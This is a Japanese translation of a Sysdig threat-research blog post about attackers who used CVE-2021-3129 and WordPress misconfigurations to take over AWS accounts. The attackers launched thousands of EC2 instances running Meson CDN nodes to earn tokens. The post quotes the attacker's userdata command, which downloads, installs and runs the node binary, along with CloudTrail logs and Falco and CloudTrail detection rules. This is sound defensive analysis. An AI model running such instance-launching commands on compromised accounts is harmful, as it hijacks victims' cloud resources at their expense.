Crypto CDNがデプロイされたクラウドにおける脅威

By 清水 孝郎 - MARCH 11, 2024

SHARE:

本文の内容は、2024年3月11日に STEFANO CHIERICI が投稿したブログ(https://sysdig.com/blog/cloud-threats-deploying-crypto-cdn)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチーム (TRT) は、3 月 15 日頃に行われる暗号トークンのロック解除に先立って、ブロックチェーンベースの Meson サービスを使用して報酬を得る悪意のあるキャンペーンを発見しました。数分以内に、攻撃者は侵害されたクラウドアカウントを使用して 6,000 の Meson Network ノードを作成しようとしました。Meson Network は、ブロックチェーンプロトコルを通じて効率化された帯域幅マーケットプレイスを確立することにより、Web3 で動作する分散型コンテンツ配信ネットワーク (CDN) です!

この記事では、観察された攻撃で何が起こったのかを取り上げ、Meson Network とは何かをさらに説明し、攻撃者がどのように Meson Network を利用して有利に働くことができたのかについて説明します。

何が起こったのか

2 月 26 日、Sysdig TRT は、ハニーネット インフラストラクチャー内の公開されたサービスに関連する複数の AWS ユーザーに対する不審なアラートに対応しました。攻撃者は、 Laveral アプリケーションのCVE-2021-3129と WordPress の構成ミスを悪用して、クラウドアカウントへの初期アクセスを取得しました。最初のアクセス後、攻撃者は自動化された偵察テクニックを使用して、即座にその領域の概要を把握しました。そして、侵害されたユーザーに対して特定した権限を使用して、大量のEC2インスタンスを作成しました。

EC2インスタンスは、RunInstancesを使用して、以下のuserdataでアカウントに作成されました。userdataフィールドでは、EC2インスタンスの起動時にコマンドを実行できます。 

wget 'https://staticassets.meson.network/public/meson_cdn/v3.1.20/meson_cdn-linux-amd64.tar.gz' && tar -zxf meson_cdn-linux-amd64.tar.gz && rm -f meson_cdn-linux-amd64.tar.gz && cd ./meson_cdn-linux-amd64 && sudo ./service install meson_cdn
sudo ./meson_cdn config set --token=**** --https_port=443 --cache.size=30
sudo ./service start meson_cdnCode language: JavaScript (javascript)

上記のコマンドは、meson_cdn バイナリをダウンロードし、サービスとして実行します。このコードは、Meson ネットワークの公式ドキュメントに記載されています。

Cloudtrail ログの分析により、攻撃者は単一の IP アドレス 13[.]208[.]251[.]175 から来たことが判明しました。侵害されたアカウントでは、多くの AWS リージョンで悪意のあるアクティビティが発生しました。次のログで報告されているように、攻撃者はパブリック AMI (Ubuntu 22.04) を使用し、リージョンごとに 500 個のマイクロサイズのインスタンスの複数のバッチを生成しました。新しい EC2 作成のアカウントには、マイクロサイズのインスタンスのみに制限を設定していました。そうでない場合、攻撃者はより大きくて高価なインスタンスを確実に選んだだろうと確信しています。

"eventTime": "2024-02-26T20:33:10Z",
    …
    "userAgent": "Boto3/1.34.49 md/Botocore#1.34.49 ua/2.0 os/linux#6.2.0-1017-aws md/arch#x86_64 lang/python#3.10.12 md/pyimpl#CPython cfg/retry-mode#legacy Botocore/1.34.49 Resource",
    "requestParameters": {
        "instancesSet": {
            "items": [
                {
                    "imageId": "ami-0a2e7efb4257c0907",
                    "minCount": 500,
                    "account": 500
                }Code language: JavaScript (javascript)

数分以内に、攻撃者は侵害されたアカウント内で複数のリージョンにわたって約 6,000 個のインスタンスを生成し、meson_cdn バイナリを実行することができました。これにはアカウント所有者にとって多大なコストがかかります。攻撃の結果、マイクロサイズを使用しただけでも、作成されたすべての Meson networ ノードに 1 日あたり 2,000 ドル以上のコストがかかると推定されます。これには、6,000 ノードで月額 22,000 ドルもかかる可能性があるパブリック IP アドレスの潜在的なコストは考慮されていません。これらの Mesonトークンにはまだ公開市場で価値が設定されていないため、攻撃者が獲得できる報酬トークンの量と価値を見積もることは困難です。

作成されたインスタンスの1つの内部を見ると、 meson_cdn プロセスがデフォルト設定を使用して正しく開始されていることがわかります。

cat default.toml 

end_point = "https://cdn.meson.network"

https_port = 443

token = "ami-03f4878755434977f"

[cache]

  folder = "./m_cache"

  size = 30

[log]

  level = "INFO"Code language: JavaScript (javascript)

meson_cdn プロセスのシステムコールを監視すると、CDN 間で交換されたファイルを見つけることができます。システムコールの下のスクリーンショットを見るとわかるように、イメージを含むファイルが作成されています。

m_cacheフォルダーに作成されたファイルを確認すると、次のようなイメージやメッセージなどのさまざまなコンテンツが見つかります。

{"name":"GAS#30","description":"{GAS} - {GOLDAPESQUAD} - RARITIES INCLUDED, LAYERS ON LAYERS, COME TO DISCORD TO SHOW OFF YOUR APE!","image":"<a href="https://nftstorage.link/ipfs/bafybeicr3csbrrdo2h3g27ddu3sfppwzdfrufzpwm24qcmzbmy6jjuzydy/72">https://nftstorage.link/ipfs/bafybeicr3csbrrdo2h3g27ddu3sfppwzdfrufzpwm24qcmzbmy6jjuzydy/72</a>","attributes":[{"trait_type":"APE PICS","value":"Download (82)"},{"trait_type":"BACKPICS","value":"Ai(4)"},{"trait_type":"Rarity Rank","value":363,"display_type":"number"}],"properties":{"files":[{"uri":"<a href="https://nftstorage.link/ipfs/bafybeicr3csbrrdo2h3g27ddu3sfppwzdfrufzpwm24qcmzbmy6jjuzydy/72">https://nftstorage.link/ipfs/bafybeicr3csbrrdo2h3g27ddu3sfppwzdfrufzpwm24qcmzbmy6jjuzydy/72</a>"}]}}
Code language: JSON / JSON with Comments (json)

私たちの予想に反して、Meson アプリケーションが使用したメモリと CPU の使用率は、従来のクリプトジャッキング インシデントと比較して比較的低かったです。これはなぜなのでしょうか?そしてなぜイメージストレージが発生するのかをよりよく理解するために、Meson Network が実際に何を行うのかをさらに詳しく見てみましょう。

Web3 とMeson Networkとは

Meson Networkは、Google DriveやAmazon S3のような従来のクラウドストレージソリューションに代わる、ブロックチェーンプロトコルモデルを使用して、Web3上で効率的な帯域幅のマーケットプレイスを作成することを目的としたブロックチェーンプロジェクトです。

Web3についてよく知らない人のために説明すると、Web3はWeb1.0とWeb2.0の進化版です。この新しいコンセプトは、ブロックチェーンネットワーク、暗号通貨、NFTをベースとし、分散化を優先し、所有権をユーザーやクリエイターに再配分することで、より公平なデジタルランドスケープを実現すると主張しています。

この目標を達成するには、Web3 にはいくつかの基本的な条件が必要です。

  • ネットワーク全体を効率的にするための帯域幅 
  • 分散化を実現するためのストレージ

この攻撃では、メモリやCPUサイクルの使用という従来の用語で暗号マイニングを語るのではなく、Mesonnetwork トークン(MSN)と引き換えに帯域幅とストレージを提供します。Meson のドキュメントには次のような説明があります:

マイニング スコア = 帯域幅スコア * ストレージ スコア * クレジット スコア

これは、マイナーが Meson Network プラットフォームにサーバーを提供する報酬として Meson トークンを受け取ることを意味し、報酬はネットワークに持ち込まれる帯域幅とストレージの量に基づいて計算されます。 

攻撃中に観察されたことに戻ると、この攻撃によって通常の大量の CPU が使用されず、代わりに膨大な数の接続が使用された理由が理解できます。

新しいトレンド、新たな脅威

2024年2月8日にイニシャル・コイン・オファリング(ICO)が行われた後、Meson networkがブロックチェーンの世界で注目されていることは不思議なことではありません。私たちが見たように、それは流動性を供給し、新しいコインに興味を持たせるためのマイニングに最適なタイミングです。

Sysdig TRT は、最近 dockerhub 上でプッシュされた Meson ネットワークと関連機能に関連するイメージの急増を監視し、このサービスに対する関心をさらに強めています。私たちが分析した DockerHub 上のコンテナイメージの 1 つ、wawaitech/meson は 1 か月ほど前に作成されたもので、分散型エッジクラウドコンピューティングに関連する Meson ネットワーク製品、gaganode を実行しています。

このイメージは、レイヤーと脆弱性の静的な分析の観点からは正当で安全に見えます。しかし、実行時にアウトバウンドのネットワークトラフィックを監視したところ、gaganodeが実行され、悪意のあるIPへの接続を実行していることがわかりました。

同じ昔のクリプトマイニング攻撃ですか?

イエスでもありノーでもあります。攻撃者は依然として、あなたのリソースを目的のために利用しようとしていますし、それはまったく変わっていません。異なるのは要求されるリソースです。Mesonの場合、攻撃者は高性能CPUの代わりにストレージスペースと広帯域幅に興味を示しています。これは、多数の小さなインスタンスでも、十分な量のストレージがあれば実現できます。

クラウドのスケーラビリティの容易さのおかげで、大量のリソースを生み出すことは些細なことであり、複数のリージョンにまたがって非常に迅速に実行することができます。攻撃者は、自分たちのCDNを数分で、しかも(攻撃者にとっては)無料で用意することができるのです!

検出

私たちが見慣れている通常のマイナーとの違いを知ると、通常の検出が依然として有効であるかどうか疑問に思うかもしれません。 

通常のマイナーは CPU 使用率の急上昇を検出できますが、私たちが見たように、これは当てはまりません。ただし、インスタンスのストレージ容量や接続などの他のリソースを監視することはできます。トラフィック使用量とストレージの急増は危険信号であり、慎重に調査する必要があります。

ランタイム検出について言えば、Falcoを使用して、ホストによって行われるアウトバウンド接続を監視できます。次の Falco ルールは、これらの悪意のある動作の検出に役立ちます。

- rule: Unexpected outbound connection destination

  desc: Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names

  condition: >

    consider_all_outbound_conns and outbound

  output: Disallowed outbound connection destination (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid)

  priority: NOTICE
Code language: JavaScript (javascript)

代わりにクラウドのイベントを見ると、クラウドで作成されたインスタンスを監視できます。Cloudtrailの以下のルールは、RunInstances イベントを監視するのに役立ちます。

- rule: Run Instances

  desc: Detect launching of a specified number of instances.

  condition: >

ct.name="RunInstances" and not ct.error exists

  output: A number of instances have been launched on zones %ct.request.availabilityzone with subnet ID %ct.request.subnetid by user %ct.user on region %ct.region (requesting user=%ct.user, requesting IP=%ct.srcip, account ID=%ct.user.accountid, AWS region=%ct.region, arn=%ct.user.arn, availability zone=%ct.request.availabilityzone, subnet id=%ct.request.subnetid, reservation id=%ct.response.reservationid)

  priority: WARNING

  source: awscloudtrailCode language: JavaScript (javascript)

検出のもう 1 つの観点は、コマンドが実行されていない未使用の AWS リージョンを監視することです。disallowed_aws_regions  以下のルールをノイズなく適切に使用するには、アカウントに未使用のリージョンを追加してリストを適切にカスタマイズする必要があります。

- rule: AWS Command Executed on Unused Region

  desc: Detect AWS command execution on unused regions.

  condition: >

not ct.error exists and ct.region in (disallowed_aws_regions)

   output: An AWS command of source %ct.src and name %ct.name has been executed by an untrusted user %ct.user on an unused region=%ct.region (requesting user=%ct.user, requesting IP=%ct.srcip, account ID=%ct.user.accountid, AWS region=%ct.region)

  priority: CRITICAL

  source: awscloudtrail

まとめ

攻撃者は、侵害された資産を活用する新しい方法を通じて、収入源を多様化させ続けています。もはやすべてが仮想通貨のマイニングだけではありません。Meson network のようなサービスは、CPUの代わりにハードドライブの容量やネットワークの帯域幅を活用しようとしています。Mesonが合法的なサービスであるかもしれませんが、これは攻撃者が常に新しい収益源を見つけようとしていることを示しています。

これらの攻撃の被害を受けないためには、ソフトウェアを常に最新の状態に保ち、環境において怪しい活動を監視することが重要です。そのような攻撃によって数千ドルを支払わなければならなくなるのを防ぐためには、賢明な対策が不可欠です。